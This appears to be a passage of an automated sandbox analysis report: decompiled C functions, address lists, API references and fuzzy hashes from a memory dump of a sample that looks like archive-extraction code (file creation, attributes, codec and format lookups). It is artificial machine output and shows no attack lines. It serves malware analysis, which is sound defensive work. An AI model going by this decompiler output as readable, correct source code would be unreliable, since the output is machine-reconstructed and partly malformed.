										__eflags =  *(_t331 - 0xd);
										if(__eflags != 0) {
											L35:
											_t235 = E01231553(_t331 - 0x40, _t322);
											goto L36;
										}
										_t235 = E0123E567( *(_t331 + 0x10), __eflags);
										__eflags = _t235;
										if(_t235 == 0) {
											goto L36;
										}
										goto L35;
									}
									_t236 = E0123370E(_t235,  *((intOrPtr*)(_t331 - 0xa8)),  *((intOrPtr*)(_t331 - 0x28)));
									__eflags = _t236;
									if(_t236 == 0) {
										L32:
										 *(_t331 + 0x17) = 0;
										goto L33;
									}
									_t238 =  *((intOrPtr*)( *((intOrPtr*)(_t331 - 0xa8)) +  *(_t331 - 0x24) * 2));
									__eflags = _t238;
									if(_t238 != 0) {
										__eflags = _t238 - 0x5c;
										if(_t238 == 0x5c) {
											goto L33;
										}
										__eflags = _t238 - 0x2f;
										if(_t238 == 0x2f) {
											goto L33;
										}
										goto L32;
									}
									__eflags =  *(_t331 - 0x8d);
									if( *(_t331 - 0x8d) != 0) {
										goto L33;
									}
									goto L32;
								}
								__eflags =  *(_t331 - 0x90);
								if( *(_t331 - 0x90) != 0) {
									goto L36;
								}
								goto L25;
							}
							__eflags =  *(_t331 - 0xd);
							if(__eflags == 0) {
								goto L21;
							}
							__eflags =  *(_t326 + 0x1e);
							 *(_t331 - 0x90) = 0;
							if( *(_t326 + 0x1e) != 0) {
								goto L25;
							}
							_t235 =  *((intOrPtr*)(_t331 - 0x14));
							__eflags =  *(_t235 + 0xdc);
							if( *(_t235 + 0xdc) == 0) {
								goto L23;
							} else {
								_t233 = E0124DA88(_t331 - 0x90);
								goto L22;
							}
							L36:
							_t322 = _t322 + 1;
							__eflags = _t322 -  *(_t331 - 0x18);
						} while (_t322 <  *(_t331 - 0x18));
						goto L37;
					}
					L14:
					_t327 = _t206;
					goto L68;
				}
			}

0x012498a7
0x012498ac
0x012498ba
0x012498bc
0x012498c6
0x012498ca
0x012498cd
0x012498d0
0x012498d2
0x012498d7
0x012498da
0x012498dd
0x012498e0
0x012498e6
0x012498e9
0x012498ee
0x012498f4
0x012498f8
0x012498fc
0x0124990c
0x01249911
0x0124991a
0x0124991e
0x0124992a
0x01249944
0x01249946
0x01249950
0x01249950
0x01249944
0x01249955
0x0124995b
0x0124996a
0x0124996e
0x01249978
0x01249984
0x0124998c
0x01249990
0x01249996
0x0124999d
0x012499a9
0x012499ad
0x012499b4
0x012499b8
0x012499c3
0x012499d2
0x012499d6
0x012499db
0x012499e0
0x012499e2
0x012499e5
0x012499ee
0x012499f6
0x012499f7
0x012499fa
0x012499fa
0x01249a01
0x01249a0a
0x01249a0f
0x01249a0f
0x01249a01
0x01249a16
0x01249a1a
0x01249a1f
0x01249a2b
0x01249a2e
0x01249b67
0x01249b67
0x01249b6a
0x01249b72
0x01249b73
0x01249b73
0x01249b78
0x01249b7b
0x01249bf9
0x01249bfb
0x00000000
0x00000000
0x01249c03
0x01249c05
0x01249c07
0x01249c09
0x01249c09
0x01249c16
0x01249c22
0x00000000
0x01249b7d
0x01249b85
0x01249b8a
0x01249b90
0x01249bb1
0x01249bb7
0x01249bbb
0x01249bc0
0x01249bc3
0x01249be2
0x01249be2
0x01249be5
0x01249c2c
0x01249c2c
0x01249c2e
0x01249c2e
0x01249c31
0x01249c34
0x01249c38
0x01249c83
0x01249c94
0x01249c3a
0x01249c3a
0x01249c48
0x01249c4b
0x01249c4f
0x01249c53
0x01249c5f
0x01249c63
0x01249c66
0x01249c68
0x01249c70
0x01249c70
0x01249c78
0x01249c7c
0x01249c7c
0x01249c97
0x01249c99
0x01249c9b
0x01249c9f
0x01249ca4
0x01249ca4
0x01249ca7
0x01249caa
0x01249cac
0x01249cac
0x01249cb7
0x01249cba
0x01249cbd
0x01249cbf
0x01249cc1
0x01249cc5
0x01249cc7
0x01249cc7
0x00000000
0x01249cc5
0x01249be7
0x01249be7
0x01249bea
0x00000000
0x00000000
0x01249bec
0x01249bee
0x00000000
0x01249bee
0x01249bc5
0x01249bc8
0x00000000
0x00000000
0x01249bca
0x01249bcd
0x00000000
0x00000000
0x01249bd5
0x01249bda
0x01249bdc
0x00000000
0x00000000
0x00000000
0x01249bdc
0x01249a34
0x01249a34
0x01249a3e
0x01249a43
0x01249a52
0x01249a57
0x01249a59
0x01249a5c
0x01249a60
0x01249b2b
0x01249b2b
0x01249b2e
0x01249b5e
0x01249b62
0x00000000
0x01249b62
0x01249b30
0x01249b37
0x01249b3f
0x01249b42
0x01249b48
0x01249b4a
0x01249b4e
0x01249ccc
0x01249ce7
0x01249cf2
0x01249cfd
0x01249d0b
0x01249d13
0x00000000
0x00000000
0x00000000
0x01249a66
0x01249a66
0x01249a66
0x01249a69
0x01249a9a
0x01249aa3
0x01249aa4
0x01249aa5
0x01249aaa
0x01249aaa
0x01249aac
0x00000000
0x00000000
0x01249ab2
0x01249ab2
0x01249ab5
0x01249abf
0x01249abf
0x01249ac2
0x01249b01
0x01249b01
0x01249b04
0x01249b18
0x01249b1c
0x00000000
0x01249b1c
0x01249b0f
0x01249b14
0x01249b16
0x00000000
0x00000000
0x00000000
0x01249b16
0x01249acd
0x01249ad2
0x01249ad4
0x01249afe
0x01249afe
0x00000000
0x01249afe
0x01249adf
0x01249ae3
0x01249ae6
0x01249af2
0x01249af6
0x00000000
0x00000000
0x01249af8
0x01249afc
0x00000000
0x00000000
0x00000000
0x01249afc
0x01249ae8
0x01249aee
0x00000000
0x00000000
0x00000000
0x01249af0
0x01249ab7
0x01249abd
0x00000000
0x00000000
0x00000000
0x01249abd
0x01249a6b
0x01249a6e
0x00000000
0x00000000
0x01249a70
0x01249a73
0x01249a79
0x00000000
0x00000000
0x01249a7b
0x01249a7e
0x01249a84
0x00000000
0x01249a86
0x01249a93
0x00000000
0x01249a93
0x01249b21
0x01249b21
0x01249b22
0x01249b22
0x00000000
0x01249a66
0x01249a45
0x01249a45
0x00000000
0x01249a45

APIs

__EH_prolog.LIBCMT ref: 012498AC

Part of subcall function 0124DEAB: __EH_prolog.LIBCMT ref: 0124DEB0

GetLastError.KERNEL32(?,01268294,-00000087,0000000D,00000000,00000000,?), ref: 01249BFD

Strings

Can not create output directory: , xrefs: 01249C11

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: H_prolog$ErrorLast
String ID: Can not create output directory:
API String ID: 2901101390-3123869724
Opcode ID: 9deaf62984de872815104e5080535b297ef3a8b6be07045c4948becab28481d2
Instruction ID: 256b5d4d054ee8c41e49b0e179566c338f34418b15ec6f5c79c9ba71e6815a53
Opcode Fuzzy Hash: 9deaf62984de872815104e5080535b297ef3a8b6be07045c4948becab28481d2
Instruction Fuzzy Hash: 62E1C170D2028BDFDF29EFA8C880AEEBFB5BF58308F144199E54567251DB309A85CB51

Uniqueness

Uniqueness Score: -1.00%

Function 0124BFF8 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 121
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E0124BFF8(void* __ecx, void* __eflags) {
				void* __ebx;
				intOrPtr* _t39;
				void* _t40;
				void* _t48;
				void* _t53;
				void* _t55;
				void* _t57;
				intOrPtr* _t60;
				signed char _t61;
				intOrPtr* _t62;
				signed char _t63;
				signed char _t65;
				intOrPtr _t97;
				intOrPtr _t98;
				intOrPtr _t99;
				intOrPtr _t100;
				void* _t104;
				void* _t106;

				_t111 = __eflags;
				E012639E0(E01265EE8, _t106);
				 *(_t106 - 0x10) =  *(_t106 - 0x10) & 0x00000000;
				_t104 = __ecx;
				E01234ACE(_t106 - 0x28, __eflags);
				 *(_t106 - 4) =  *(_t106 - 4) & 0x00000000;
				_t39 = E012328B2(_t106 - 0x40, _t106 - 0x28,  *0x126988c);
				 *(_t106 - 4) = 1;
				_t40 = E01236177( *_t39, _t111); // executed
				_t112 = _t40;
				if(_t40 != 0) {
					L4:
					_t65 = 0;
					__eflags = 0;
				} else {
					_t60 = E012328B2(_t106 - 0x1c, _t106 - 0x28, L"Codecs");
					 *(_t106 - 4) = 2;
					_t61 = E012361D0( *_t60, _t112);
					 *(_t106 - 4) = 1;
					asm("sbb bl, bl");
					_t40 = E01231ABD(_t61,  *((intOrPtr*)(_t106 - 0x1c)));
					_t113 =  ~_t61 + 1;
					if( ~_t61 + 1 == 0) {
						goto L4;
					} else {
						_t62 = E012328B2(_t106 - 0x34, _t106 - 0x28, L"Formats");
						 *(_t106 - 4) = 3;
						_t63 = E012361D0( *_t62, _t113);
						asm("sbb bl, bl");
						_t40 = E01231ABD(_t63,  *((intOrPtr*)(_t106 - 0x34)));
						if( ~_t63 + 1 == 0) {
							goto L4;
						} else {
							_t65 = 1;
						}
					}
				}
				 *(_t106 - 4) =  *(_t106 - 4) & 0x00000000;
				E01231ABD(_t40,  *((intOrPtr*)(_t106 - 0x40)));
				if(_t65 == 0) {
					L13:
					E01231ABD(E012329BC(_t104, __eflags, _t106 - 0x28),  *((intOrPtr*)(_t106 - 0x28)));
				} else {
					E012328E9(_t106 - 0x1c);
					_t97 =  *0x1269898; // 0x12698b4
					_push(_t106 - 0x1c);
					 *(_t106 - 4) = 4;
					_t48 = E0124C172(0x80000001, 0x80000001, _t97);
					_push(_t106 - 0x1c);
					if(_t48 != 0) {
						L11:
						E01231ABD(E01231ABD(E012329BC(_t104, _t119),  *((intOrPtr*)(_t106 - 0x1c))),  *((intOrPtr*)(_t106 - 0x28)));
					} else {
						_t98 =  *0x1269898; // 0x12698b4
						_t53 = E0124C172(0x80000001, 0x80000002, _t98);
						_push(_t106 - 0x1c);
						if(_t53 != 0) {
							goto L11;
						} else {
							_t99 =  *0x1269894; // 0x12698c4
							_t55 = E0124C172(0x80000001, 0x80000001, _t99);
							_push(_t106 - 0x1c);
							if(_t55 != 0) {
								goto L11;
							} else {
								_t100 =  *0x1269894; // 0x12698c4
								_t57 = E0124C172(0x80000001, 0x80000002, _t100);
								_t119 = _t57;
								if(_t57 == 0) {
									_t31 = _t106 - 4;
									 *_t31 =  *(_t106 - 4) & 0x00000000;
									__eflags =  *_t31;
									E01231ABD(_t57,  *((intOrPtr*)(_t106 - 0x1c)));
									goto L13;
								} else {
									_push(_t106 - 0x1c);
									goto L11;
								}
							}
						}
					}
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t106 - 0xc));
				return _t104;
			}

0x0124bff8
0x0124bffd
0x0124c005
0x0124c00b
0x0124c010
0x0124c01b
0x0124c025
0x0124c02c
0x0124c030
0x0124c035
0x0124c037
0x0124c0a1
0x0124c0a1
0x0124c0a1
0x0124c039
0x0124c044
0x0124c04b
0x0124c04f
0x0124c056
0x0124c05f
0x0124c063
0x0124c068
0x0124c06b
0x00000000
0x0124c06d
0x0124c078
0x0124c07f
0x0124c083
0x0124c08f
0x0124c093
0x0124c09b
0x00000000
0x0124c09d
0x0124c09d
0x0124c09d
0x0124c09b
0x0124c06b
0x0124c0a6
0x0124c0aa
0x0124c0b2
0x0124c14e
0x0124c15c
0x0124c0b8
0x0124c0bb
0x0124c0c0
0x0124c0ce
0x0124c0d1
0x0124c0d5
0x0124c0df
0x0124c0e0
0x0124c127
0x0124c139
0x0124c0e2
0x0124c0e2
0x0124c0ed
0x0124c0f7
0x0124c0f8
0x00000000
0x0124c0fa
0x0124c0fa
0x0124c102
0x0124c10c
0x0124c10d
0x00000000
0x0124c10f
0x0124c10f
0x0124c11a
0x0124c11f
0x0124c121
0x0124c144
0x0124c144
0x0124c144
0x0124c148
0x00000000
0x0124c123
0x0124c126
0x00000000
0x0124c126
0x0124c121
0x0124c10d
0x0124c0f8
0x0124c0e0
0x0124c169
0x0124c171

APIs

__EH_prolog.LIBCMT ref: 0124BFFD

Part of subcall function 01234ACE: __EH_prolog.LIBCMT ref: 01234AD3

Part of subcall function 01236177: __EH_prolog.LIBCMT ref: 0123617C

Part of subcall function 012361D0: __EH_prolog.LIBCMT ref: 012361D5

Part of subcall function 01231ABD: free.MSVCRT(00000000,0124C91D,00000001,00000001,?,?,012310EB,?,00000000), ref: 01231AC1

Strings

Formats, xrefs: 0124C06D
Codecs, xrefs: 0124C039

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: H_prolog$free
String ID: Codecs$Formats
API String ID: 2654054672-513325466
Opcode ID: cfea0ab1229dfba72145c26b08fb92f45d16dd70e76d3bac9b7ad9740842f99d
Instruction ID: 6d009e2eae227cba1af99f63965eedb60127ed87aa11b2b291fe2feb613e6d08
Opcode Fuzzy Hash: cfea0ab1229dfba72145c26b08fb92f45d16dd70e76d3bac9b7ad9740842f99d
Instruction Fuzzy Hash: 19413870A6214BDFCF09EBA8D950BFDB7B6AFE5208F148118D445372A1CF740A6ACB50

Uniqueness

Uniqueness Score: -1.00%

Function 012363E5 Relevance: 4.6, APIs: 3, Instructions: 64
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E012363E5(void** __ecx, void* __eflags) {
				signed int _t28;
				intOrPtr _t29;
				signed int _t31;
				void* _t35;
				void** _t50;
				void* _t52;

				E012639E0(E01264678, _t52);
				_t50 = __ecx;
				_t28 = E01236497(__ecx);
				if(_t28 != 0) {
					 *((char*)(__ecx + 4)) = 0;
					_t29 = E01237553( *(_t52 + 8));
					 *((intOrPtr*)(_t52 - 0x10)) = _t29;
					if(_t29 != 1) {
						_t35 = CreateFileW( *(_t52 + 8),  *(_t52 + 0xc),  *(_t52 + 0x10), 0,  *(_t52 + 0x14),  *(_t52 + 0x18), 0); // executed
						 *_t50 = _t35;
					}
					if( *_t50 == 0xffffffff &&  *((intOrPtr*)(_t52 - 0x10)) != 0) {
						_t31 = E012328E9(_t52 - 0x1c);
						 *((intOrPtr*)(_t52 - 4)) = 0;
						if(E0123765C( *(_t52 + 8), _t52 - 0x1c, _t52, _t31 & 0xffffff00 |  *((intOrPtr*)(_t52 - 0x10)) != 0x00000001) != 0) {
							 *_t50 = CreateFileW( *(_t52 - 0x1c),  *(_t52 + 0xc),  *(_t52 + 0x10), 0,  *(_t52 + 0x14),  *(_t52 + 0x18), 0);
						}
						E01231ABD(_t33,  *(_t52 - 0x1c));
					}
					_t28 = 0 |  *_t50 != 0xffffffff;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t52 - 0xc));
				return _t28;
			}

0x012363ea
0x012363f3
0x012363f5
0x012363fc
0x01236409
0x0123640c
0x0123641a
0x0123641d
0x01236430
0x01236432
0x01236432
0x01236437
0x01236441
0x01236450
0x0123645e
0x01236473
0x01236473
0x01236478
0x0123647d
0x01236485
0x01236485
0x0123648c
0x01236494

APIs

__EH_prolog.LIBCMT ref: 012363EA

Part of subcall function 01236497: FindCloseChangeNotification.KERNELBASE(00000000,?,012363FA,000000FF,00000009,00000001), ref: 012364A2

CreateFileW.KERNELBASE(?,00000001,00000009,00000000,000000FF,00000009,00000000,00000001,00000009,000000FF,00000009,00000001), ref: 01236430
CreateFileW.KERNEL32(00000001,00000001,00000001,00000000,000000FF,00000009,00000000,00000000,00000001,00000009,000000FF), ref: 01236471

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: CreateFile$ChangeCloseFindH_prologNotification
String ID:
API String ID: 3273702577-0
Opcode ID: 0b45b3efdcc583b057cf198a38a5476c311061cddd5599b488219fe3698758ce
Instruction ID: 0320034059f7eb11ed75a7fdac255be7c9b2185f7c5118dbaf1ec8afbf5cbdac
Opcode Fuzzy Hash: 0b45b3efdcc583b057cf198a38a5476c311061cddd5599b488219fe3698758ce
Instruction Fuzzy Hash: B11145B181020BFFCF219FA4DC408EEBB7AFF94254B108619EA60561A0C7759965DB50

Uniqueness

Uniqueness Score: -1.00%

Function 01234D1A Relevance: 4.6, APIs: 3, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E01234D1A(WCHAR* __ecx, long __edx) {
				signed int _t19;
				signed int _t20;
				int _t24;
				int _t26;
				void* _t28;
				WCHAR* _t39;
				void* _t45;

				E012639E0(E01264450, _t45);
				 *(_t45 - 0x10) = __edx;
				_t39 = __ecx;
				_t28 = E01237553(__ecx);
				if(_t28 == 1) {
					L3:
					if(_t28 == 0) {
						L7:
						_t19 = 0;
					} else {
						_t20 = E012328E9(_t45 - 0x1c);
						 *(_t45 - 4) =  *(_t45 - 4) & 0x00000000;
						if(E0123765C(_t39, _t45 - 0x1c, _t45, _t20 & 0xffffff00 | _t28 != 0x00000001) == 0) {
							E01231ABD(_t22,  *(_t45 - 0x1c));
							goto L7;
						} else {
							_t24 = SetFileAttributesW( *(_t45 - 0x1c),  *(_t45 - 0x10));
							_t19 = E01231ABD(_t24,  *(_t45 - 0x1c)) & 0xffffff00 | _t24 != 0x00000000;
						}
					}
				} else {
					_t26 = SetFileAttributesW(__ecx,  *(_t45 - 0x10)); // executed
					if(_t26 == 0) {
						goto L3;
					} else {
						_t19 = 1;
					}
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t45 - 0xc));
				return _t19;
			}

0x01234d1f
0x01234d2a
0x01234d2d
0x01234d3a
0x01234d3f
0x01234d4f
0x01234d51
0x01234d97
0x01234d97
0x01234d53
0x01234d56
0x01234d5b
0x01234d72
0x01234d91
0x00000000
0x01234d74
0x01234d7a
0x01234d89
0x01234d89
0x01234d72
0x01234d41
0x01234d45
0x01234d49
0x00000000
0x01234d4b
0x01234d4b
0x01234d4b
0x01234d49
0x01234d9f
0x01234da7

APIs

__EH_prolog.LIBCMT ref: 01234D1F
SetFileAttributesW.KERNELBASE(?,?,?,00000000,?), ref: 01234D45
SetFileAttributesW.KERNEL32(?,?,00000000,?,00000000,?), ref: 01234D7A

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: AttributesFile$H_prolog
String ID:
API String ID: 3790360811-0
Opcode ID: add1df11dcd7844347d177f068a1b59d7c7c23a7fb46af998bd598cdc64cf6e9
Instruction ID: 7227e1fa444485283da75efeb614e9eaffd5c8b812484ea2b8eb7ec0bc95d51c
Opcode Fuzzy Hash: add1df11dcd7844347d177f068a1b59d7c7c23a7fb46af998bd598cdc64cf6e9
Instruction Fuzzy Hash: 0F0128F2D2025BDBCF15BBA49C446FEBB7AEFD0110F0480A9DD12A3290CB754811AA50

Uniqueness

Uniqueness Score: -1.00%

Function 0123FF48 Relevance: 3.1, APIs: 2, Instructions: 140
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E0123FF48() {
				intOrPtr* _t67;
				void* _t68;
				intOrPtr* _t69;
				intOrPtr* _t70;
				intOrPtr* _t71;
				intOrPtr _t74;
				intOrPtr* _t75;
				long _t96;
				intOrPtr _t98;
				intOrPtr* _t116;
				struct _SECURITY_DESCRIPTOR* _t118;
				void* _t120;
				void* _t122;

				E012639E0(E01265098, _t120);
				_t118 =  *(_t120 + 8);
				 *((intOrPtr*)(_t120 - 4)) = 0;
				_t67 =  *((intOrPtr*)(_t118 + 0x60));
				 *((intOrPtr*)(_t120 - 0x10)) = _t122 - 0xc;
				if(_t67 == 0) {
					if( *((intOrPtr*)(_t118 + 0x10c)) != 0) {
						 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t118 + 0x104)) + 0x1c)))) + 0xc))( *((intOrPtr*)(_t118 + 0x9e)),  *((intOrPtr*)(_t118 + 0x9c)), _t118 + 0x6c);
						_t98 =  *((intOrPtr*)(_t118 + 0x104));
						 *((intOrPtr*)(_t118 + 0xf0)) =  *((intOrPtr*)(_t98 + 0x10));
						 *((intOrPtr*)(_t118 + 0xf4)) =  *((intOrPtr*)(_t98 + 0x14));
						 *((char*)(_t118 + 0xf8)) = 1;
						E01240128(_t98);
						 *((char*)(_t118 + 0x10c)) = 0;
					}
					_t68 = E0123FE1C(_t118); // executed
					if(_t68 != 0) {
						goto L30;
					} else {
						if( *((intOrPtr*)(_t118 + 0x124)) != 0 ||  *((intOrPtr*)(_t118 + 0xc1)) == 0 ||  *((intOrPtr*)(_t118 + 0x18)) == 0) {
							L16:
							_t116 = _t118 + 0xf8;
							if( *((intOrPtr*)(_t118 + 0xf8)) != 0) {
								L18:
								_t69 = _t118 + 0x178;
								if( *((intOrPtr*)(_t118 + 0x9c)) == 0) {
									_t69 = _t118 + 0x170;
								}
								 *_t69 =  *_t69 +  *((intOrPtr*)(_t118 + 0xf0));
								asm("adc [eax+0x4], edx");
								L21:
								if( *((intOrPtr*)(_t118 + 0x9e)) == 0) {
									_t70 = _t118 + 0x168;
									if( *((intOrPtr*)(_t118 + 0x9c)) == 0) {
										_t70 = _t118 + 0x160;
									}
								} else {
									_t70 = _t118 + 0x158;
								}
								 *_t70 =  *_t70 + 1;
								asm("adc [eax+0x4], ebx");
								if( *((intOrPtr*)(_t118 + 0x124)) == 0 &&  *((intOrPtr*)(_t118 + 0xc1)) != 0 &&  *((intOrPtr*)(_t118 + 0xe7)) != 0) {
									E01234DA8( *(_t118 + 0xac),  *((intOrPtr*)(_t118 + 0xe0))); // executed
								}
								_t71 =  *((intOrPtr*)(_t118 + 0x28));
								_t68 =  *((intOrPtr*)( *_t71 + 0x20))(_t71,  *((intOrPtr*)(_t120 + 0xc)), 0 |  *((intOrPtr*)(_t118 + 0xc5)) != 0x00000000);
								goto L30;
							}
							E0123E24D(_t118);
							if( *_t116 == 0) {
								goto L21;
							}
							goto L18;
						} else {
							_t74 =  *((intOrPtr*)(_t118 + 0x14));
							if( *((intOrPtr*)(_t74 + 8)) == 0) {
								goto L16;
							}
							_t75 =  *((intOrPtr*)(_t74 + 8));
							 *((intOrPtr*)( *_t75 + 0x10))(_t75,  *((intOrPtr*)(_t118 + 0xe8)), 0x3e, _t120 + 8, _t120 - 0x14, _t120 - 0x18);
							_t107 =  *((intOrPtr*)(_t120 - 0x14));
							if( *((intOrPtr*)(_t120 - 0x14)) == 0) {
								goto L16;
							}
							if( *((intOrPtr*)(_t120 - 0x18)) == 1) {
								if(E01253C48( *(_t120 + 8), _t107) != 0) {
									_t96 = 7;
									if( *((intOrPtr*)(_t118 + 0x150)) != 0) {
										_t96 = 0xf;
									}
									SetFileSecurityW( *(_t118 + 0xac), _t96,  *(_t120 + 8));
								}
								goto L16;
							}
							_t68 = 0x80004005;
							goto L30;
						}
					}
				} else {
					_t68 =  *((intOrPtr*)( *_t67 + 0x18))(_t67,  *((intOrPtr*)(_t120 + 0xc)), 0 |  *((intOrPtr*)(_t118 + 0xc5)) != 0x00000000);
					L30:
					 *[fs:0x0] =  *((intOrPtr*)(_t120 - 0xc));
					return _t68;
				}
			}

0x0123ff4d
0x0123ff57
0x0123ff5d
0x0123ff60
0x0123ff63
0x0123ff68
0x0123ff8a
0x0123ffa9
0x0123ffac
0x0123ffb8
0x0123ffbe
0x0123ffc4
0x0123ffcb
0x0123ffd0
0x0123ffd0
0x0123ffd8
0x0123ffdf
0x00000000
0x0123ffe5
0x0123ffeb
0x01240061
0x01240067
0x0124006d
0x0124007a
0x01240080
0x01240086
0x01240088
0x01240088
0x0124009a
0x0124009c
0x0124009f
0x012400a5
0x012400b5
0x012400bb
0x012400bd
0x012400bd
0x012400a7
0x012400a7
0x012400a7
0x012400c3
0x012400c6
0x012400cf
0x012400ed
0x012400ed
0x012400f2
0x01240107
0x00000000
0x01240107
0x01240071
0x01240078
0x00000000
0x00000000
0x00000000
0x0123fffa
0x0123fffa
0x01240000
0x00000000
0x00000000
0x01240005
0x0124001c
0x0124001f
0x01240024
0x00000000
0x00000000
0x0124002a
0x01240040
0x0124004a
0x0124004b
0x0124004f
0x0124004f
0x0124005b
0x0124005b
0x00000000
0x01240040
0x0124002c
0x00000000
0x0124002c
0x0123ffeb
0x0123ff6a
0x0123ff7c
0x01240117
0x0124011c
0x01240125
0x01240125

APIs

__EH_prolog.LIBCMT ref: 0123FF4D

Memory Dump Source

Source File: 00000009.00000002.566613933.0000000001231000.00000020.00000001.01000000.00000004.sdmp, Offset: 01230000, based on PE: true

Associated: 00000009.00000002.566594021.0000000001230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566651713.0000000001268000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566668691.0000000001274000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000009.00000002.566677003.0000000001278000.00000002.00000001.01000000.00000004.sdmpDownload File

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: ef3a39d9192fae755857f1da102a8388061595bc2cfcc01ccd71809513a0e75e
Instruction ID: 895365c4c21ea7c703c88ae8b5dc54cca83f8ccc1c6fdb48c76a9a20d465f07e
Opcode Fuzzy Hash: ef3a39d9192fae755857f1da102a8388061595bc2cfcc01ccd71809513a0e75e
Instruction Fuzzy Hash: 665181715547829FEB3ACB74C490EE6BBF1BF85300F08885DE69A4B202D771A8C4DB55

Uniqueness

Uniqueness Score: -1.00%

Function 01251FE2 Relevance: 3.1, APIs: 2, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E01251FE2(void* __ecx) {
				long _t43;
				intOrPtr* _t44;
				intOrPtr* _t45;
				long _t46;
				intOrPtr _t49;
				long _t55;
				intOrPtr* _t56;
				intOrPtr* _t57;
				intOrPtr* _t61;
				intOrPtr* _t65;
				intOrPtr _t76;
				intOrPtr _t83;
				long _t84;
				void* _t88;
				long _t90;
				void* _t91;

				E012639E0(E012664F2, _t91);
				_t65 = 0;
				_t88 = __ecx;
				 *((intOrPtr*)(_t91 - 0x14)) = 0;
				 *(_t91 - 4) = 0;
				 *((intOrPtr*)(_t91 - 0x10)) = 0;
				_t83 =  *((intOrPtr*)(_t91 + 8));
				 *(_t91 - 4) = 1;
				if( *((intOrPtr*)(_t83 + 0x44)) == 0) {
					if( *((intOrPtr*)(_t83 + 0x30)) != 0) {
						goto L15;
					} else {
						_push(0x58);
						_t49 = E01231A96();
						 *((intOrPtr*)(_t91 - 0x18)) = _t49;
						 *(_t91 - 4) = 2;
						if(_t49 != 0) {
							_t65 = E0123929A(_t49);
						}
						 *(_t91 - 4) = 1;
						E01240E48(_t91 - 0x14, _t65);
						E01232A8C(_t88 + 0x70, _t88 + 0x7c);
						if(E012368C6( *((intOrPtr*)(_t88 + 0x70))) != 0) {
							_t76 =  *((intOrPtr*)(_t91 + 8));
							_t83 = _t76;
							_t65 = 0;
							 *((intOrPtr*)(_t76 + 0x30)) =  *((intOrPtr*)(_t91 - 0x14));
							goto L15;
						} else {
							_t55 = GetLastError();
							 *(_t91 - 4) =  *(_t91 - 4) & 0x00000000;
							_t90 = _t55;
							_t56 =  *((intOrPtr*)(_t91 - 0x10));
							if(_t56 != 0) {
								 *((intOrPtr*)( *_t56 + 8))(_t56);
							}
							_t57 =  *((intOrPtr*)(_t91 - 0x14));
							 *(_t91 - 4) =  *(_t91 - 4) | 0xffffffff;
							if(_t57 != 0) {
								 *((intOrPtr*)( *_t57 + 8))(_t57);
							}
							_t46 = _t90;
						}
					}
				} else {
					_push(8);
					_t61 = E01231A96();
					if(_t61 == 0) {
						_t61 = 0;
					} else {
						 *((intOrPtr*)(_t61 + 4)) = 0;
						 *_t61 = 0x1269848;
					}
					E01240E48(_t91 - 0x10, _t61);
					 *((intOrPtr*)(_t83 + 0x34)) =  *((intOrPtr*)(_t91 - 0x10));
					L15:
					_push(_t83);
					_t43 = L01251DC7(_t88); // executed
					 *(_t88 + 0xdf) =  *(_t88 + 0xdf) & 0x00000000;
					 *(_t91 - 4) =  *(_t91 - 4) & 0x00000000;
					_t84 = _t43;
					_t44 =  *((intOrPtr*)(_t91 - 0x10));
					if(_t44 != _t65) {
						 *((intOrPtr*)( *_t44 + 8))(_t44);
					}
					_t45 =  *((intOrPtr*)(_t91 - 0x14));
					 *(_t91 - 4) =  *(_t91 - 4) | 0xffffffff;
					if(_t45 != _t65) {
						 *((intOrPtr*)( *_t45 + 8))(_t45);
					}
					_t46 = _t84;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t91 - 0xc));
				return _t46;
			}

0x01251fe7
0x01251ff0
